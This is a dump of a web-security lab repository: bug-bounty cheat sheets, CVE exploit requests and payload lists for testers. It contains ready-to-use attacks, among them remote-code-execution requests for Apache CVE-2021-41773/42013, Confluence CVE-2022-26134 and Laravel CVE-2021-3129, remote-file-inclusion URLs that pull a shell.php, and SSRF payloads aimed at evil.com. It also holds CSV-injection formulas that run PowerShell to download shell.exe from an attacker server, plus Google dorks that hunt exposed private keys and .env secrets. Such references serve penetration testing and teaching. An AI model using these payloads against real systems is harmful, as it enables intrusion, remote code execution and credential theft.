29 | - The CSRF Exploit looks like as given below. I have replaced the email value to anyemail@*******.com and submitted a request in the victim’s account.
30 |
31 | ```html
32 |
33 |
34 |
38 |
39 |
40 | ```
41 |
42 | 4. Chaining with IDOR, for example
43 | ```
44 | POST /changepassword.php HTTP/1.1
45 | Host: site.com
46 | ...
47 | userid=500&password=heked123
48 | ```
49 | 500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
50 |
51 | 5. No Rate Limit on 2FA
52 |
53 | References:
54 | - [Pre-Account Takeover using OAuth Misconfiguration](https://vijetareigns.medium.com/pre-account-takeover-using-oauth-misconfiguration-ebd32b80f3d3)
55 | - [Account Takeover via CSRF](https://medium.com/bugbountywriteup/account-takeover-via-csrf-78add8c99526)
56 | - [How re-signing up for an account lead to account takeover](https://zseano.medium.com/how-re-signing-up-for-an-account-lead-to-account-takeover-3a63a628fd9f)
--------------------------------------------------------------------------------
/CompleteBugBounty/Misc/Broken Link Hijacking.md:
--------------------------------------------------------------------------------
1 | # Broken Link Hijacking
2 |
3 | ## Introduction
4 | Broken Link Hijacking exists whenever a target links to an expired domain or page
5 |
6 | ## How to find
7 | 1. Manually find external links on the target site (For example, check some links to social media accounts)
8 | 2. Try using tools to find broken link, for example using tools that listed in this readme
9 |
10 | ## Tools
11 | - [broken-link-checker](https://github.com/stevenvachon/broken-link-checker)
12 | - [Check My Links](https://chrome.google.com/webstore/detail/check-my-links/ojkcdipcgfaekbeaelaapakgnjflfglf/related)
13 |
14 | ## References
15 | - [Broken Link Hijacking - How expired links can be exploited.](https://edoverflow.com/2017/broken-link-hijacking/)
16 | - [How I was able to takeover the company’s LinkedIn Page](https://medium.com/@bathinivijaysimhareddy/how-i-takeover-the-companys-linkedin-page-790c9ed2b04d)
17 | - [Hackerone #1466889](https://hackerone.com/reports/1466889)
--------------------------------------------------------------------------------
/CompleteBugBounty/Misc/Default Credentials:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/CompleteBugBounty/Misc/Default Credentials
--------------------------------------------------------------------------------
/CompleteBugBounty/Misc/Email Spoofing.md:
--------------------------------------------------------------------------------
1 | # Email Spoofing
2 |
3 | ## Introduction
4 | Email spoofing is a technique used in spam and phishing attacks to trick users into thinking a message came from a person or entity they either know or can trust. In spoofing attacks, the sender forges email headers so that client software displays the fraudulent sender address, which most users take at face value.
5 |
6 | ## How to detect
7 | 1. Check the SPF records, if the website don't have a SPF record, the website must be vulnerable to email spoofing
8 | ```
9 | v=spf1 include:_spf.google.com ~all
10 | ```
11 | 2. Check the DMARC records, if the website don't have a DMARC record or the value of tag policy is `none`, the website must be vulnerable to email spoofing
12 | ```
13 | v=DMARC1; p=none; rua=mailto:dmarc@yourdomain.com
14 | ```
15 |
16 | Reference:
17 | - [Hackerone #1071521](https://hackerone.com/reports/1071521)
--------------------------------------------------------------------------------
/CompleteBugBounty/Misc/Exposed API keys.md:
--------------------------------------------------------------------------------
1 | # Exposed API Keys / Token OAuth
2 |
3 | ## Introduction
4 | Sometimes in a web application, an attacker can find some exposed API keys / token which can lead to financial loss to a company.
5 |
6 | ## How to find
7 | 1. Find API keys / token by looking at the JavaScript code on the website
8 | 2. Find API keys / token by checking the request / response header
9 |
10 | ## Tools
11 | * [Key-Checker](https://github.com/daffainfo/Key-Checker)
12 |
13 | # References
14 | * [keyhacks](https://github.com/streaak/keyhacks) is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid. There is 79 list of how to check the validity of the API keys
15 | * [all-about-apikey](https://github.com/daffainfo/all-about-apikey) is a repository of detailed information about API Key / Oauth tokens. The repository contain description API key, HTTP request, the response if the API key is valid / no, regex, and the example
--------------------------------------------------------------------------------
/CompleteBugBounty/Misc/JWT Vulnerabilities.md:
--------------------------------------------------------------------------------
1 | # JWT Vulnerabilities
2 |
3 | ## Introduction
4 | JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object.
5 |
6 | ## How to exploit
7 | 1. Modify the algorithm to "none" algorithm
8 | ```
9 | {
10 | "alg": "none",
11 | "typ": "JWT"
12 | }
13 | ```
14 | 2. Modify the algorithm RS256 to HS256
15 |
16 | If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
17 |
18 | 3. Bruteforce HS256
19 |
20 | the HS256 key strength is weak, it can be directly brute-forced, such as using the secret string as a key in the PyJWT library sample code.
21 |
22 | ## Tools
23 | * [jwt-hack](https://github.com/hahwul/jwt-hack)
24 |
25 | ## Reference
26 | - [Hacking JSON Web Token (JWT)](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
--------------------------------------------------------------------------------
/CompleteBugBounty/Misc/Tabnabbing.md:
--------------------------------------------------------------------------------
1 | # Tabnabbing
2 |
3 | ## Introduction
4 | When you open a link in a new tab ( target="_blank" ), the page that opens in a new tab can access the initial tab and change it's location using the window.opener property.
5 |
6 | ## How to find
7 | ```html
8 |
9 |
10 |
11 | ```
12 |
13 | ## How to Exploit
14 | 1. Attacker posts a link to a website under his control that contains the following JS code:
15 | ```html
16 |
17 |
21 |
22 | ```
23 | 2. He tricks the victim into visiting the link, which is opened in the browser in a new tab.
24 | 3. At the same time the JS code is executed and the background tab is redirected to the website evil.com, which is most likely a phishing website.
25 |
26 | ## References
27 | * [Hackerone #260278](https://hackerone.com/reports/260278)
--------------------------------------------------------------------------------
/CompleteBugBounty/OAuth Misconfiguration.md:
--------------------------------------------------------------------------------
1 | # OAuth Misconfiguration
2 |
3 | ## Introduction
4 | The most infamous OAuth-based vulnerability is when the configuration of the OAuth service itself enables attackers to steal authorization codes or access tokens associated with other users’ accounts. By stealing a valid code or token, the attacker may be able to access the victim's account.
5 |
6 | ## Where to find
7 | In the SSO feature. For example `Log in with google` or `Log in with facebook`.
8 |
9 | ## How to exploit
10 | 1. OAuth token stealing: Changing redirect_uri to attacker.com(Use IDN Homograph or common bypasses).
11 | 2. Change Referral header to attacker.com while requesting OAuth.
12 | 3. Create an account with victim@gmail.com with normal functionality. Create account with victim@gmail.com using OAuth functionality. Now try to login using previous credentials.
13 | 4. OAuth Token Re-use.
14 | 5. Missing or broken state parameter.
15 | 6. Lack of origin check.
16 | 7. Open Redirection on another endpoint > Use it in redirect_uri
17 | 8. If there is an email parameter after signin then try to change the email parameter to victim's one.
18 | 9. Try to remove email from the scope and add victim's email manually.
19 | 10. Only company's email is allowed? > Try to replace hd=company.com to hd=gmail.com
20 | 11. Check if its leaking client_secret parameter.
21 | 12. Go to the browser history and check if the token is there.
22 |
23 | ## References
24 | * [tuhin1729_](https://twitter.com/tuhin1729_/status/1417843523177484292)
25 | * [c0d3x27](https://infosecwriteups.com/the-oauth-misconfiguration-15e66dd19a6e)
--------------------------------------------------------------------------------
/CompleteBugBounty/Reconnaissance/Google Dorks.md:
--------------------------------------------------------------------------------
1 | # Google Dorks
2 | ## List
3 | - inurl:example.com intitle:"index of"
4 | - inurl:example.com intitle:"index of /" "*key.pem"
5 | - inurl:example.com ext:log
6 | - inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
7 | - inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git
8 | - inurl:example.com intitle:"index of" "config.db"
9 | - inurl:example.com allintext:"API_SECRET*" ext:env | ext:yml
10 | - inurl:example.com intext:admin ext:sql inurl:admin
11 | - inurl:example.com allintext:username,password filetype:log
12 | site:example.com "-----BEGIN RSA PRIVATE KEY-----" - inurl:id_rsa
13 | - site:codepad.co "keyword"
14 | - site:scribd.com "keyword"
15 | - site:npmjs.com "keyword"
16 | - site:npm-runkit.com "keyword"
17 | - site:libraries.io "keyword"
18 | - site:ycombinator.io "keyword"
19 | - site:coggle.it "keyword"
20 | - site:papaly.com "keyword"
21 | - site:google.com "keyword"
22 | - site:trello.com "keyword"
23 | - site:prezi.com "keyword"
24 | - site:jsdelivr.net "keyword"
25 | - site:codepen.io "keyword"
26 | - site:codeshare.io "keyword"
27 | - site:sharecode.io "keyword"
28 | - site:pastebin.com "keyword"
29 | - site:repl.it "keyword"
30 | - site:productforums.google.com "keyword"
31 | - site:gitter.im "keyword"
32 | - site:bitbucket.org "keyword"
33 | - site:*atlassian.net "keyword"
34 | - inurl:gitlab "keyword"
35 | - inurl:github "keyword"
--------------------------------------------------------------------------------
/CompleteBugBounty/Remote File Inclusion.md:
--------------------------------------------------------------------------------
1 | ## Remote File Inclusion (RFI)
2 |
3 | ## Introduction
4 | Remote file inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external scripts.
5 |
6 | ## Where to find
7 | - Any endpoint that includes a file from a web server. For example, `/index.php?page=index.html`
8 |
9 | ## How to exploit
10 | 1. Basic payload
11 | ```
12 | http://example.com/index.php?page=http://daffa.info/shell.php
13 | ```
14 |
15 | 2. URL encoding
16 | ```
17 | http://example.com/index.php?page=http%3A%2F%2Fdaffa.info%2Fshell.php
18 | ```
19 |
20 | 3. Double encoding
21 | ```
22 | http://example.com/index.php?page=http%253A%252F%252Fdaffa.info%252Fshell.php
23 | ```
24 |
25 | 4. Using Null Byte (%00)
26 | ```
27 | http://example.com/index.php?page=http://daffa.info/shell.php%00
28 | ```
29 |
30 | ## References
31 | * [payloadbox](https://github.com/payloadbox/rfi-lfi-payload-list)
--------------------------------------------------------------------------------
/CompleteBugBounty/SQL Injection.md:
--------------------------------------------------------------------------------
1 | # Soon!
--------------------------------------------------------------------------------
/CompleteBugBounty/Server Side Request Forgery.md:
--------------------------------------------------------------------------------
1 | # Server Side Request Forgery (SSRF)
2 |
3 | ## Introduction
4 | Server Side Request Forgery is a web application vulnerability that allows attackers to make outgoing requests originating from the vulnerable server
5 |
6 | ## Where to find
7 | Usually it can be found in the request that contain request to another url, for example like this
8 | ```
9 | POST /api/check/products HTTP/1.1
10 | Host: example.com
11 | Content-Type: application/x-www-form-urlencoded
12 | Origin: https://example.com
13 | Referer: https://example.com
14 |
15 | urlApi=http://192.168.1.1%2fapi%2f&id=1
16 | ```
17 |
18 | or
19 |
20 | ```
21 | GET /image?url=http://192.168.1.1/
22 | Host: example.com
23 | ```
24 |
25 | ## How to exploit
26 | 1. Basic payload
27 | ```
28 | http://127.0.0.1:1337
29 | http://localhost:1337
30 | ```
31 |
32 | 2. Hex encoding
33 | ```
34 | http://127.0.0.1 -> http://0x7f.0x0.0x0.0x1
35 | ```
36 |
37 | 3. Octal encoding
38 | ```
39 | http://127.0.0.1 -> http://0177.0.0.01
40 | ```
41 |
42 | 4. Dword encoding
43 | ```
44 | http://127.0.0.1 -> http://2130706433
45 | ```
46 |
47 | 5. Mixed encoding
48 | ```
49 | http://127.0.0.1 -> http://0177.0.0.0x1
50 | ```
51 |
52 | 6. Using URL encoding
53 | ```
54 | http://localhost -> http://%6c%6f%63%61%6c%68%6f%73%74
55 | ```
56 |
57 | 7. Using IPv6
58 | ```
59 | http://0000::1:1337/
60 | http://[::]:1337/
61 | ```
62 |
63 | 8. Using bubble text
64 | ```
65 | http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
66 |
67 | Use this https://capitalizemytitle.com/bubble-text-generator/
68 | ```
69 |
70 | ## How to exploit (URI Scheme)
71 | 1. File scheme
72 | ```
73 | file:///etc/passwd
74 | ```
75 |
76 | 2. Dict scheme
77 | ```
78 | dict://127.0.0.1:1337/
79 | ```
80 |
81 | 3. FTP scheme
82 | ```
83 | ftp://127.0.0.1/
84 | ```
85 |
86 | 4. TFTP scheme
87 | ```
88 | tftp://evil.com:1337/test
89 | ```
90 |
91 | 5. SFTP scheme
92 | ```
93 | sftp://evil.com:1337/test
94 | ```
95 |
96 | 6. LDAP scheme
97 | ```
98 | ldap://127.0.0.1:1337/
99 | ```
100 |
101 | 7. Gopher scheme
102 | ```
103 | gopher://evil.com/_Test%0ASSRF
104 | ```
105 | ## References
106 | * [Vickie Li](https://vickieli.medium.com/bypassing-ssrf-protection-e111ae70727b)
--------------------------------------------------------------------------------
/CompleteBugBounty/Technologies/Apache HTTP Server.md:
--------------------------------------------------------------------------------
1 | # Apache (HTTP Server) Common Bugs
2 |
3 | ## Introduction
4 | What would you do if you came across a website that uses Apache (HTTP Server)?
5 |
6 | ## How to Detect
7 | Usually in the HTTP response there is a header like this `Server: Apache` or `Server: Apache/2.4.50` and check the 404 page
8 |
9 | 1. Find the related CVE by checking Apache (HTTP Server) version
10 | * How to find the Apache (HTTP Server) version
11 |
12 | By checking the response header or using 404 page, sometimes the version is printed there. If you found outdated Apache (HTTP Server) version, find the CVEs at [CVE Details](https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/Apache-Http-Server.html)
13 |
14 | Some example CVE:
15 |
16 | - CVE-2021-41773 (RCE and LFI)
17 | ```
18 | POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
19 | Host: 127.0.0.1:8080
20 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
21 | Accept: */*
22 | Content-Length: 7
23 | Content-Type: application/x-www-form-urlencoded
24 | Connection: close
25 |
26 | echo;id
27 | ```
28 | - CVE-2021-42013 (RCE and LFI)
29 | ```
30 | POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
31 | Host: 127.0.0.1:8080
32 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
33 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
34 | Accept-Language: en-US,en;q=0.5
35 | Accept-Encoding: gzip, deflate
36 | Connection: close
37 | Upgrade-Insecure-Requests: 1
38 | Content-Type: application/x-www-form-urlencoded
39 | Content-Length: 7
40 |
41 | echo;id
42 | ```
--------------------------------------------------------------------------------
/CompleteBugBounty/Technologies/Confluence.md:
--------------------------------------------------------------------------------
1 | # Confluence Common Bugs
2 |
3 | ## Introduction
4 | What would you do if you came across a website that uses Confluence?
5 |
6 | ## How to Detect
7 | Try to HTTP request to `https://example.com/login.action?os_destination=%2F` and there is a form login
8 |
9 | 1. Find the related CVE by checking Confluence version
10 | * How to find the Confluence version
11 |
12 | Try to request to `https://example.com/login.action?os_destination=%2F` and then check the source code. You will find this line `` so 8.20.9 is the Confluence version. If you found outdated Confluence version, find the CVEs at [CVEDetails](https://www.cvedetails.com/vulnerability-list/vendor_id-3578/product_id-6258/Atlassian-Confluence.html)
13 |
14 | Some example CVE:
15 |
16 | - CVE-2022-26134 (Remote Code Execution)
17 | ```
18 | https://example.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
19 | ```
20 |
21 | - CVE-2021-26085 (Arbitrary File Read)
22 | ```
23 | https://example.com/s/test/_/;/WEB-INF/web.xml
24 | ```
--------------------------------------------------------------------------------
/CompleteBugBounty/Technologies/HAProxy.md:
--------------------------------------------------------------------------------
1 | # HAProxy Common Bugs
2 |
3 | ## Introduction
4 | What would you do if you came across a website that uses HAProxy?
5 |
6 | ## How to Detect
7 | `-`
8 |
9 | 1. CVE-2021-40346 (HTTP Request Smuggling)
10 | ```
11 | POST /index.html HTTP/1.1
12 | Host: abc.com
13 | Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
14 | Content-Length: 60
15 |
16 | GET /admin/add_user.py HTTP/1.1
17 | Host: abc.com
18 | abc: xyz
19 | ```
20 |
21 | Source:
22 | - [JFrog](https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/)
--------------------------------------------------------------------------------
/CompleteBugBounty/Technologies/Joomla.md:
--------------------------------------------------------------------------------
1 | # Grafana
2 |
3 | ## Introduction
4 | What would you do if you came across a website that uses Joomla ?
5 |
6 | ## How to Detect
7 | Try to HTTP request to `https://example.com/` and if you see the source code, you will see something like this ``
8 |
9 | 1. Find the related CVE by checking the core, plugins, and theme version
10 | * How to find the joomla version
11 | ```
12 | https://target.com/administrator/manifests/files/joomla.xml
13 | ```
14 |
15 | * How to find the joomla plugin version
16 | ```
17 | https://target.com/administrator/components/com_NAMEPLUGIN/NAMEPLUGIN.xml
18 |
19 | for example
20 |
21 | https://target.com/administrator/components/com_contact/contact.xml
22 | ```
23 |
24 | > or change NAMEPLUGIN.xml to `changelog.txt` or `readme.md` or `readme.txt`
25 |
26 | * How to find the theme version
27 | ```
28 | https://target.com/wp-content/themes/THEMENAME/style.css
29 | https://target.com/wp-content/themes/THEMENAME/readme.txt (If they have readme file)
30 | ```
31 | If you found outdated core / plugins, find the exploit at https://exploit-db.com
32 |
33 | 2. Joomla! Config Dist File
34 | ```
35 | https://example.com/configuration.php-dist
36 | ```
37 | 3. Database File List
38 | ```
39 | https://example.com/libraries/joomla/database/
40 | ```
41 |
42 | ## References
43 | - [Exploit-db #6377](https://www.exploit-db.com/ghdb/6377)
--------------------------------------------------------------------------------
/CompleteBugBounty/Technologies/Laravel.md:
--------------------------------------------------------------------------------
1 | # Laravel Common Bugs
2 |
3 | ## Introduction
4 | What would you do if you came across a website that uses Laravel?
5 |
6 | ## How to Detect
7 | Usually in the HTTP response there is a header like this `Set-Cookie: laravel_session=`
8 |
9 | 1. Find the related CVE by checking laravel version
10 | * How to find the laravel version
11 |
12 | By checking the composer file in `https://example.com/composer.json`, sometimes the version is printed there. If you found outdated laravel version, find the CVEs at [CVEDetails](https://www.cvedetails.com/vulnerability-list/vendor_id-16542/product_id-38139/Laravel-Laravel.html)
13 |
14 | Some example CVE:
15 |
16 | - CVE-2021-3129 (Remote Code Execution)
17 | ```
18 | POST /_ignition/execute-solution HTTP/1.1
19 | Host: example.com
20 | Accept: application/json
21 | Content-Type: application/json
22 |
23 | {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
24 | ```
25 |
26 | 2. Laravel 4.8.28 ~ 5.x - PHPUnit Remote Code Execution (CVE-2017-9841)
27 | ```
28 | curl -d "" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
29 | ```
30 |
31 | 3. Exposed environment variables
32 | * Full Path Exploit : http://example.com/.env
33 |
34 | 
35 |
36 | 4. Exposed log files
37 | * Full Path Exploit : http://example.com/storage/logs/laravel.log
38 |
39 | 5. Laravel Debug Mode Enabled
40 | * Try to request to https://example.com using POST method (Error 405)
41 | * Using [] in paramater (ex:example.com/param[]=0)
42 |
43 | 
44 |
45 | ## References
46 | * [Nakanosec](https://www.nakanosec.com/2020/02/common-bug-pada-laravel.html)
47 |
--------------------------------------------------------------------------------
/CompleteBugBounty/Technologies/Moodle.md:
--------------------------------------------------------------------------------
1 | # Moodle Common Bugs
2 |
3 | ## Introduction
4 | What would you do if you came across a website that uses Moodle?
5 |
6 | ## How to Detect
7 | If you visit `https://target.com` and see the source code, you will see `//evil.com
45 | https://example.com/\/\/evil.com/
46 | https://example.com/\/evil.com
47 | https://example.com/\evil.com
48 | https://example.com/evil.com
49 | https://example.com/evil.com/%2F..
50 | https://example.com/evil.com/
51 | https://example.com/evil.com/..;/css
52 | https://example.com/https:evil.com
53 | ```
54 |
55 | 4. Nginx status page
56 | ```
57 | https://example.com/nginx_status
58 | ```
59 |
60 | ## References
61 | - [Detectify](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/)
--------------------------------------------------------------------------------
/CompleteBugBounty/Technologies/Zend.md:
--------------------------------------------------------------------------------
1 | # Zend Common Bugs
2 |
3 | ## Introduction
4 | What would you do if you came across a website that uses Zend?
5 |
6 | ## How to Detect
7 | `-`
8 |
9 | 1. Finding config files
10 | ```
11 | https://target.com/application/configs/application.ini
12 | https://target.com/admin/configs/application.ini
13 | ```
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Paul Veillard, P. Eng
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Web Application Security Labs
2 |
3 | An ongoing & curated collection of awesome software best practices and techniques, libraries and frameworks, E-books and videos, websites, blog posts, links to github Repositories, technical guidelines and important resources about Web Application Security Labs in Cybersecurity.
4 | > Thanks to all contributors, you're awesome and wouldn't be possible without you! Our goal is to build a categorized community-driven collection of very well-known resources
5 |
6 |
7 |
8 | https://portswigger.net/web-security/all-labs
9 |
--------------------------------------------------------------------------------
/cross-site-request-forgery/xss-payload-list/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2018 İsmail Taşdelen
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/cross-site-scripting/xss-payload-list/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2018 İsmail Taşdelen
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/csv-injection/csv-injection-payloads/Intruder/csv-payload.txt:
--------------------------------------------------------------------------------
1 | DDE ("cmd";"/C calc";"!A0")A0
2 | @SUM(1+9)*cmd|' /C calc'!A0
3 | =10+20+cmd|' /C calc'!A0
4 | =cmd|' /C notepad'!'A1'
5 | =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
6 | =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
--------------------------------------------------------------------------------
/csv-injection/csv-injection-payloads/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Payload Box
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/csv-injection/csv-injection-payloads/README.md:
--------------------------------------------------------------------------------
1 | ## CSV Injection Payloads
2 |
3 |
4 |
5 | CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files.
6 |
7 | #### Payloads :
8 |
9 | ```
10 | DDE ("cmd";"/C calc";"!A0")A0
11 | @SUM(1+9)*cmd|' /C calc'!A0
12 | =10+20+cmd|' /C calc'!A0
13 | =cmd|' /C notepad'!'A1'
14 | =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
15 | =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
16 | ```
17 |
18 | #### References :
19 |
20 | ###### CSV Injection :
21 |
22 | * 👉 https://owasp.org/www-community/attacks/CSV_Injection
23 |
24 | ##### Cloning an Existing Repository ( Clone with HTTPS )
25 | ```
26 | root@ismailtasdelen:~# git clone https://github.com/payloadbox/csv-injection-payloads.git
27 | ```
28 |
29 | ##### Cloning an Existing Repository ( Clone with SSH )
30 | ```
31 | root@ismailtasdelen:~# git clone git@github.com:payloadbox/csv-injection-payloads.git
32 | ```
33 |
34 | #### Donate!
35 |
36 | Support the authors:
37 |
38 | #### LiberaPay:
39 |
40 |
41 |
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/default/big-1.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/directory-traversal/directory-payload-list/Intruder/default/big-1.txt
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/default/big.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/directory-traversal/directory-payload-list/Intruder/default/big.txt
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/joomla/joomla_themes.fuzz.txt:
--------------------------------------------------------------------------------
1 | templates/abc/
2 | templates/atomic/
3 | templates/b59-tpl8/
4 | templates/beez/
5 | templates/carbon_07/
6 | templates/crub/
7 | templates/dm_arrow_red/
8 | templates/gk_eshoptrix_2/
9 | templates/gk_gomuproject/
10 | templates/gk_icki_sports/
11 | templates/gk_musictop/
12 | templates/ja_purity/
13 | templates/ja_rochea/
14 | templates/ja_teline_ii/
15 | templates/joomlaport_metro/
16 | templates/js_relevant/
17 | templates/mynxx_j15/
18 | templates/planets/
19 | templates/planetsv2/
20 | templates/rhuk_milkyway/
21 | templates/rt_hivemind_j15/
22 | templates/rt_mediamogul_essentials_j15/
23 | templates/rt_nexus_j15/
24 | templates/siteground99/
25 | templates/siteground-j15-14/
26 | templates/siteground-j15-68/
27 | templates/siteground-j15-86/
28 | templates/system/
29 | templates/yoo_phoenix/
30 | templates/yoo_waybeyond/
31 |
--------------------------------------------------------------------------------
